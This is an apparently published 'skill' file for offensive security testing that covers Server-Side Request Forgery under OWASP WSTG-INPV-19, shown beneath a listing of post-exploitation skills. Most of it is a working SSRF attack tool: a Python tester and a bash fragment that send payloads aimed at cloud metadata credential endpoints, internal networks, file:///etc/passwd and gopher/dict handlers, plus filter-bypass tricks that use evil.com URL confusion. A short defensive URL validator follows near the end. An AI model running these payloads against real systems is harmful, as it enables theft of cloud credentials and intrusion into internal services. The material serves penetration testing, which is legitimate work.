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macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
Basado en la clasificación ocupacional SOC
Mostrando SKILL.md
| name | wstg-inpv-19 |
| description | Testing for Server-Side Request Forgery (SSRF) |
| category | input-validation |
| owasp_id | WSTG-INPV-19 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-19
Testing for Server-Side Request Forgery (SSRF)
Server-Side Request Forgery (SSRF) occurs when an attacker can make the server-side application make HTTP requests to an arbitrary domain of the attacker's choosing. This can be used to attack internal services, access cloud metadata, scan internal networks, or bypass access controls.
#!/bin/bash
TARGET="https://target.com"
echo "[*] Testing for SSRF..."
# Test URL parameters
ENDPOINTS=(
"/proxy?url="
"/fetch?url="
"/api/webhook?callback="
"/share?url="
"/preview?link="
)
# SSRF payloads
PAYLOADS=(
"http://127.0.0.1/"
"http://localhost/"
"http://[::1]/"
"http://169.254.169.254/latest/meta-data/"
"http://metadata.google.internal/"
"http://192.168.1.1/"
"http://10.0.0.1/"
"file:///etc/passwd"
)
for endpoint in "${ENDPOINTS[@]}"; do
for payload in "";
response=$(curl -s )
#!/usr/bin/env python3
"""
Server-Side Request Forgery (SSRF) Vulnerability Tester
"""
import requests
import socket
import re
from urllib.parse import quote
class SSRFTester:
def __init__(self, url, param='url'):
self.url = url
self.param = param
self.findings = []
self.session = requests.Session()
# SSRF payloads
PAYLOADS = {
'localhost': [
'http://127.0.0.1/',
'http://localhost/',
'http://127.0.0.1:80/',
'http://127.0.0.1:443/',
'http://127.0.0.1:8080/',
'http://127.0.0.1:22/',
'http://[::1]/',
'http://0.0.0.0/',
'http://0177.0.0.1/', # Octal
'http://2130706433/', # Decimal
'http://0x7f.0x0.0x0.0x1/', # Hex
'http://127.1/',
'http://127.0.1/',
],
'cloud_metadata': [
# AWS
'http://169.254.169.254/latest/meta-data/',
'http://169.254.169.254/latest/meta-data/iam/security-credentials/',
'http://169.254.169.254/latest/user-data/',
# GCP
'http://metadata.google.internal/computeMetadata/v1/',
'http://169.254.169.254/computeMetadata/v1/',
# Azure
'http://169.254.169.254/metadata/instance?api-version=2021-02-01',
# DigitalOcean
'http://169.254.169.254/metadata/v1/',
# Alibaba
'http://100.100.100.200/latest/meta-data/',
],
'internal_network': [
'http://192.168.0.1/',
'http://192.168.1.1/',
'http://10.0.0.1/',
'http://172.16.0.1/',
'http://intranet/',
'http://internal/',
],
'protocols': [
'file:///etc/passwd',
'file:///c:/windows/win.ini',
'gopher://127.0.0.1:25/_HELO%20localhost',
'dict://127.0.0.1:11211/stats',
'ftp://127.0.0.1/',
],
'bypass': [
# URL encoding
'http://127.0.0.1%2f',
'http://127.0.0.1%09',
# Domain confusion
'http://127.0.0.1.nip.io/',
'http://localtest.me/',
'http://spoofed.burpcollaborator.net@127.0.0.1/',
# URL parser confusion
'http://foo@127.0.0.1/',
'http://127.0.0.1#@evil.com/',
'http://127.0.0.1?@evil.com/',
# IPv6
'http://[0:0:0:0:0:ffff:127.0.0.1]/',
'http://[::ffff:127.0.0.1]/',
],
}
def test_localhost_access(self):
"""Test access to localhost"""
print("\n[*] Testing localhost access...")
for payload in self.PAYLOADS['localhost']:
try:
response = self.session.get(
self.url,
params={self.param: payload},
timeout=10
)
# Check for localhost indicators
if response.status_code == 200:
if any(indicator in response.text.lower() for indicator in
['apache', 'nginx', 'server', 'welcome', 'index']):
print(f"[VULN] Localhost access: {payload}")
self.findings.append({
'type': 'SSRF - Localhost Access',
'payload': payload,
'severity': 'High'
})
return True
except Exception as e:
pass
return False
def test_cloud_metadata(self):
"""Test cloud metadata access"""
print("\n[*] Testing cloud metadata access...")
for payload in self.PAYLOADS['cloud_metadata']:
try:
response = self.session.get(
self.url,
params={self.param: payload},
timeout=10
)
# Check for metadata indicators
metadata_indicators = [
'ami-id', 'instance-id', 'security-credentials',
'computeMetadata', 'instance', 'project',
'iam', 'role', 'credentials',
]
if response.status_code == 200:
for indicator in metadata_indicators:
if indicator in response.text:
print(f"[VULN] Cloud metadata access!")
print(f" Payload: {payload}")
self.findings.append({
'type': 'SSRF - Cloud Metadata',
'payload': payload,
'severity': 'Critical'
})
return True
except Exception as e:
pass
return False
def test_internal_network(self):
"""Test internal network scanning"""
print("\n[*] Testing internal network access...")
for payload in self.PAYLOADS['internal_network']:
try:
response = self.session.get(
self.url,
params={self.param: payload},
timeout=5
)
if response.status_code == 200 and len(response.text) > 0:
print(f"[INFO] Internal endpoint responds: {payload}")
self.findings.append({
'type': 'SSRF - Internal Network',
'payload': payload,
'severity': 'High'
})
except Exception as e:
pass
def test_protocols(self):
"""Test different protocol handlers"""
print("\n[*] Testing protocol handlers...")
for payload in self.PAYLOADS['protocols']:
try:
response = self.session.get(
self.url,
params={self.param: payload},
timeout=10
)
# Check for file content
if 'root:' in response.text or '[extensions]' in response.text:
print(f"[VULN] Protocol handler: {payload.split(':')[0]}://")
self.findings.append({
'type': f'SSRF - {payload.split(":")[0].upper()} Protocol',
'payload': payload,
'severity': 'Critical'
})
except Exception as e:
pass
def test_bypass_techniques(self):
"""Test SSRF filter bypass techniques"""
print("\n[*] Testing bypass techniques...")
for payload in self.PAYLOADS['bypass']:
try:
response = self.session.get(
self.url,
params={self.param: payload},
timeout=10
)
if response.status_code == 200 and len(response.text) > 100:
print(f"[INFO] Bypass payload accepted: {payload[:40]}")
except Exception as e:
pass
def test_blind_ssrf(self, callback_server='YOUR-COLLABORATOR'):
"""Test blind SSRF via callback"""
print("\n[*] Testing blind SSRF...")
blind_payloads = [
f'http://{callback_server}/',
f'http://{callback_server}/ssrf?test=1',
f'http://{callback_server}:80/',
f'http://{callback_server}:8080/',
]
for payload in blind_payloads:
try:
self.session.get(
self.url,
params={self.param: payload},
timeout=10
)
print(f" Sent: {payload}")
except Exception as e:
pass
print(f" [INFO] Check {callback_server} for callbacks")
def generate_report(self):
"""Generate findings report"""
print("\n" + "="*60)
print("SSRF VULNERABILITY REPORT")
print("="*60)
if not self.findings:
print("\nNo SSRF vulnerabilities confirmed.")
else:
for f in self.findings:
print(f"\n[{f['severity']}] {f['type']}")
print(f" Payload: {f['payload'][:60]}")
def run_tests(self):
"""Run all SSRF tests"""
self.test_localhost_access()
self.test_cloud_metadata()
self.test_internal_network()
self.test_protocols()
self.test_bypass_techniques()
# self.test_blind_ssrf() # Uncomment with valid callback
self.generate_report()
# Usage
tester = SSRFTester("https://target.com/fetch", param='url')
tester.run_tests()
# IP Address Obfuscation
127.0.0.1 -> 2130706433 (decimal)
127.0.0.1 -> 0x7f000001 (hex)
127.0.0.1 -> 0177.0.0.1 (octal)
127.0.0.1 -> 127.1
127.0.0.1 -> [::ffff:127.0.0.1] (IPv6)
# DNS Rebinding
Use services like nip.io, xip.io
127.0.0.1.nip.io resolves to 127.0.0.1
# URL Parser Confusion
http://foo@127.0.0.1/
http://127.0.0.1#@evil.com/
http://127.0.0.1?@evil.com/
http://evil.com@127.0.0.1/
# Redirect-based bypass
Have evil.com redirect to 127.0.0.1
# Protocol confusion
gopher://127.0.0.1:25/_HELO
dict://127.0.0.1:11211/stats
| Tool | Purpose |
|---|---|
| Burp Collaborator | Blind SSRF detection |
| SSRFmap | Automated SSRF exploitation |
| Gopherus | Gopher payload generator |
# Python - URL validation
from urllib.parse import urlparse
import ipaddress
import socket
BLOCKED_HOSTS = ['localhost', '127.0.0.1', '169.254.169.254']
ALLOWED_SCHEMES = ['http', 'https']
def is_safe_url(url):
try:
parsed = urlparse(url)
# Check scheme
if parsed.scheme not in ALLOWED_SCHEMES:
return False
# Resolve hostname
hostname = parsed.hostname
if not hostname:
return False
# Block known dangerous hosts
if hostname in BLOCKED_HOSTS:
return False
# Resolve IP and check for internal
ip = socket.gethostbyname(hostname)
ip_obj = ipaddress.ip_address(ip)
if ip_obj.is_private or ip_obj.is_loopback or ip_obj.is_link_local:
return False
return True
except:
return False
| Finding | CVSS | Severity |
|---|---|---|
| SSRF cloud metadata access | 9.8 | Critical |
| SSRF to internal services | 8.6 | High |
| SSRF localhost access | 7.5 | High |
| Blind SSRF | 5.3 | Medium |
| CWE ID | Title |
|---|---|
| CWE-918 | Server-Side Request Forgery (SSRF) |
[ ] Localhost access tested
[ ] Cloud metadata tested
[ ] Internal network tested
[ ] Protocol handlers tested
[ ] Bypass techniques tested
[ ] Blind SSRF tested
[ ] Findings documented